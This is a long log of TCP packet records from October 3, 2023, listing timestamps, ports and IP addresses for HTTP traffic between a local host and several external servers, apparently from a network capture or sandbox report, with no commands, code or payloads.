Oct 3, 2023 09:55:13.707520962 CEST	80	49838	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:13.707583904 CEST	80	49838	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:13.708463907 CEST	49838	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:13.710449934 CEST	49838	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:13.822801113 CEST	49840	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:13.917136908 CEST	80	49840	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:13.917264938 CEST	49840	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:13.917474031 CEST	49840	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:13.917891026 CEST	49840	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:14.011775017 CEST	80	49840	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:14.012151003 CEST	80	49840	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:14.389487982 CEST	80	49840	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:14.389511108 CEST	80	49840	104.21.81.17	192.168.2.3
Oct 3, 2023 09:55:14.389586926 CEST	49840	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:14.390716076 CEST	49840	80	192.168.2.3	104.21.81.17
Oct 3, 2023 09:55:14.512227058 CEST	49842	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:14.606724024 CEST	80	49842	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:14.606789112 CEST	49842	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:14.607033968 CEST	49842	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:14.607455015 CEST	49842	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:14.701504946 CEST	80	49842	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:14.701869011 CEST	80	49842	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:15.114295959 CEST	80	49831	211.181.24.133	192.168.2.3
Oct 3, 2023 09:55:15.114322901 CEST	80	49831	211.181.24.133	192.168.2.3
Oct 3, 2023 09:55:15.114448071 CEST	49831	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:55:15.114492893 CEST	49831	80	192.168.2.3	211.181.24.133
Oct 3, 2023 09:55:15.118376017 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.285377026 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.285460949 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.285729885 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.286675930 CEST	80	49842	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:15.287029982 CEST	80	49842	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:15.287072897 CEST	49842	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:15.288034916 CEST	49842	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:15.413336992 CEST	49845	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:15.426559925 CEST	80	49831	211.181.24.133	192.168.2.3
Oct 3, 2023 09:55:15.453037977 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.453424931 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.453527927 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.453589916 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.453910112 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.453953028 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.454004049 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.454030991 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.454102039 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.454149008 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.454165936 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.454236984 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.454273939 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.454283953 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.454312086 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.454355955 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.508116007 CEST	80	49845	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:15.508213043 CEST	49845	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:15.508487940 CEST	49845	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:15.508965015 CEST	49845	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:15.603015900 CEST	80	49845	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:15.603585958 CEST	80	49845	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:15.620626926 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.620665073 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.620737076 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.620759964 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.620840073 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.620923042 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.620937109 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.620960951 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.621009111 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.621031046 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.621100903 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.621154070 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.621160030 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.621342897 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.621380091 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.621395111 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.621417046 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.621454954 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.621462107 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.621524096 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.621570110 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.621591091 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.621629953 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.621665955 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.621671915 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.621735096 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.621769905 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.621787071 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.621840000 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.621887922 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.787940025 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.788079023 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.788117886 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.788156986 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.788158894 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.788197994 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.788209915 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.788234949 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.788284063 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.788307905 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.788388014 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.788425922 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.788440943 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.788557053 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.788604021 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.788619041 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.788687944 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.788728952 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.788815022 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.788891077 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.788938999 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.788968086 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.789038897 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.789089918 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.789133072 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.789171934 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.789223909 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.789248943 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.789316893 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.789360046 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.789390087 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.789463043 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.789499044 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.789510012 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.789606094 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.789643049 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.789657116 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.789680958 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.789731026 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.789751053 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.789855003 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.789897919 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.789913893 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.790003061 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.790047884 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.790075064 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.790112972 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.790167093 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.790297985 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.790374041 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.790411949 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.790437937 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.790522099 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.790560007 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.790568113 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.790631056 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.790676117 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.790724993 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.790796995 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.790842056 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.834764004 CEST	80	49845	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:15.834840059 CEST	80	49845	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:15.834907055 CEST	49845	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:15.835849047 CEST	49845	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:15.949225903 CEST	49847	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:15.955220938 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.955602884 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.955678940 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.955709934 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.955849886 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.955909014 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.955991983 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.956053019 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.956113100 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.956115007 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.956152916 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.956209898 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.956227064 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.956516981 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.956573009 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.956599951 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.956695080 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.956732988 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.956753016 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.956912994 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.956970930 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.957046032 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.957118988 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.957154989 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.957178116 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.957261086 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.957298040 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.957315922 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.957357883 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.957425117 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.957427025 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.957540989 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.957602978 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.957638979 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.957802057 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.957839012 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.957856894 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.957901001 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.957938910 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.957963943 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.958025932 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.958064079 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.958084106 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.958101034 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.958138943 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.958148003 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.958178997 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.958230019 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.958247900 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.958286047 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.958338022 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.958354950 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.958390951 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.958427906 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.958430052 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.958514929 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.958551884 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.958576918 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.958621025 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.958704948 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.958725929 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.958777905 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.958837986 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.958870888 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.958909988 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.958964109 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.958977938 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.959048033 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.959100008 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.959112883 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.959203959 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.959256887 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:15.959335089 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.959455967 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.959541082 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:15.959558010 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.000375032 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.043591976 CEST	80	49847	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:16.043735027 CEST	49847	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:16.044003963 CEST	49847	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:16.044611931 CEST	49847	80	192.168.2.3	172.67.137.125
Oct 3, 2023 09:55:16.122868061 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.122963905 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.123002052 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.123039007 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.123044014 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.123076916 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.123095036 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.123114109 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.123152018 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.123164892 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.123189926 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.123236895 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.123522043 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.123554945 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.123606920 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.123686075 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.123722076 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.123794079 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.123828888 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.123867989 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.123905897 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.123924971 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.123943090 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.123979092 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.123994112 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.124017000 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.124063015 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.124085903 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.124121904 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.124176025 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.124494076 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.124564886 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.124617100 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.125225067 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.125329971 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.125369072 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.125380993 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.125406027 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.125442982 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.125443935 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.125638962 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.125678062 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.125699043 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.125715017 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.125751972 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.125767946 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.125790119 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.125828028 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.125855923 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.125866890 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.125904083 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.125915051 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.125942945 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.125987053 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.125994921 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.126199961 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.126262903 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.126302958 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.126341105 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.126379013 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.126389980 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.126415968 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.126473904 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.126481056 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.126513004 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.126552105 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.126562119 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.126720905 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.126804113 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.126816034 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.126877069 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.126914978 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.126933098 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.138186932 CEST	80	49847	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:16.138736963 CEST	80	49847	172.67.137.125	192.168.2.3
Oct 3, 2023 09:55:16.167655945 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.167771101 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.167788029 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.219130993 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.290059090 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.290102959 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.290251017 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.290283918 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.290345907 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.290389061 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.290411949 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.290519953 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.290563107 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.290586948 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.290601969 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.290638924 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.290661097 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.290673971 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.290734053 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.290806055 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.290883064 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.290941954 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.290997982 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.291069031 CEST	80	49843	193.149.185.139	192.168.2.3
